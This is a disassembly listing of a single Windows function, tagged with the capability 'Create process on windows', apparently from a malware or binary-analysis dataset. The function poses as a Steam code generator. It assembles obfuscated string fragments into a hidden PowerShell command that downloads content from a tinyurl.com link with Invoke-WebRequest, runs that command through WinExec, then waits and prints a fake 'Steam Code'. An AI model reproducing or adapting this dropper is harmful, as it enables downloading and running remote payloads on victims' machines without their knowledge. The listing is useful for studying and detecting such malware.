Function at 0x140001360
Capabilities:
Create process on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0x90
movaps xmmword [rax - 0x28], xmm6
mov rax, qword [0x140006010]
xor rax, rsp
mov qword [rbp + 0x2f], rax
xor esi, esi
mov dword [rbp - 0x19], esi
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
lea rcx, [rbp + 0xf]
call fcn.1400011d0
nop
lea rdx, str.Generating...
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001840
mov rcx, rax
lea rdx, [0x140001a10]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x9a
call fcn.140002104
mov rbx, rax
lea r8, str.powers
mov edx, 0x9a
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
lea r8, str.hell.e
mov edx, 0x9a
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcat_s]
lea r8, str.xe__command_start_powershell__windowstyle_h__args_sal_notpad_iE
mov edx, 0x9a
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcat_s]
lea r8, str.x__sal__env:os_iWr__notpad_windows_nT_tinyurl.com_3byfeh8k__usebasicparsing_
mov edx, 0x9a
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcat_s]
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WinExec]
mov rcx, rbx
call fcn.1400020c0
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rbx, 0x989680
jne 0x140001466
imul rax, rax, 0x64
jmp 0x140001481
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
movabs rcx, 0x7ffffffed5fa0dff
cmp rax, rcx
jge 0x14000149f
movabs rdi, 0x12a05f200
add rdi, rax
jmp 0x1400014a9
movabs rdi, 0x7fffffffffffffff
movabs r14, 0x311cdad160000
movabs r15, 0x112e0be826d694b3
movsd xmm6, qword [0x140004510]
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rbx, 0x989680
jne 0x1400014e3
imul rax, rax, 0x64
jmp 0x1400014fe
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
cmp rax, rdi
jge 0x140001571
mov rbx, rdi
sub rbx, rax
call qword [sym.imp.MSVCP140.dll__Xtime_get_ticks]
imul rdx, rax, 0x64
xorps xmm0, xmm0
cvtsi2sd xmm0, rbx
comisd xmm0, xmm6
seta r8b
test r8b, r8b
lea rcx, [rdx + r14]
jne 0x140001530
lea rcx, [rbx + rdx]
lea rax, [rbx + rdx]
add rdx, r14
test r8b, r8b
cmove rdx, rax
mov rax, r15
imul rdx
sar rdx, 0x1a
mov rax, rdx
shr rax, 0x3f
add rdx, rax
mov qword [rbp - 0x11], rdx
imul rax, rdx, 0x3b9aca00
sub ecx, eax
mov dword [rbp - 9], ecx
lea rcx, [rbp - 0x11]
call qword [sym.imp.MSVCP140.dll__Thrd_sleep]
jmp 0x1400014c5
mov qword [rbp - 0x11], rsi
mov qword [rbp - 1], rsi
mov ecx, 0xf
mov qword [rbp + 7], rcx
mov byte [rbp - 0x11], 0
mov dword [rbp - 0x19], 2
mov ebx, esi
cmp qword [rbp + 0x1f], rbx
jbe 0x14000166c
mov r14, rsi
mov rdi, rsi
nop
lea rax, [rbp + 0xf]
cmp qword [rbp + 0x27], 0x10
cmovae rax, qword [rbp + 0xf]
movzx r9d, byte [rax + r14]
cmp rsi, rcx
jae 0x1400015d8
lea rax, [rsi + 1]
mov qword [rbp - 1], rax
lea rax, [rbp - 0x11]
cmp rcx, 0x10
cmovae rax, qword [rbp - 0x11]
mov byte [rax + rsi], r9b
mov byte [rax + rsi + 1], 0
jmp 0x1400015e1
lea rcx, [rbp - 0x11]
call fcn.140001a50
inc ebx
mov eax, 0x66666667
imul ebx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea ecx, [rdx + rdx*4]
cmp ebx, ecx
jne 0x140001653
mov rax, qword [rbp + 0x1f]
dec rax
cmp rdi, rax
je 0x140001653
mov rdx, qword [rbp - 1]
mov r8, qword [rbp + 7]
mov rax, r8
sub rax, rdx
lea rcx, [rbp - 0x11]
cmp rax, 1
jb 0x140001640
lea rax, [rdx + 1]
mov qword [rbp - 1], rax
cmp r8, 0x10
cmovae rcx, qword [rbp - 0x11]
movzx eax, byte [0x140004430]
mov byte [rcx + rdx], al
mov byte [rcx + rdx + 1], 0
jmp 0x140001653
mov qword [rsp + 0x20], 1
mov edx, 1
call fcn.140001bb0
inc r14
movsxd rdi, ebx
cmp rdi, qword [rbp + 0x1f]
jae 0x14000166c
mov rcx, qword [rbp + 7]
mov rsi, qword [rbp - 1]
jmp 0x1400015a0
lea rdx, str.Steam_Code:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001840
lea rdx, [rbp - 0x11]
cmp qword [rbp + 7], 0x10
cmovae rdx, qword [rbp - 0x11]
mov r8, qword [rbp - 1]
mov rcx, rax
call fcn.140001d40
mov rcx, rax
lea rdx, [0x140001a10]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rdx, qword [rbp + 7]
cmp rdx, 0x10
jb 0x1400016e8
inc rdx
mov rcx, qword [rbp - 0x11]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400016e3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400016e3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400020c0
mov edx, 1
lea r8d, [rdx - 2]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::ignore_long_long___int64___int____ptr64]
nop
mov rdx, qword [rbp + 0x27]
cmp rdx, 0x10
jb 0x14000173d
inc rdx
mov rcx, qword [rbp + 0xf]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001738
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001738
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400020c0
xor eax, eax
mov rcx, qword [rbp + 0x2f]
xor rcx, rsp
call fcn.1400020a0
lea r11, [rsp + 0x90]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop r15
pop r14
pop rbp
ret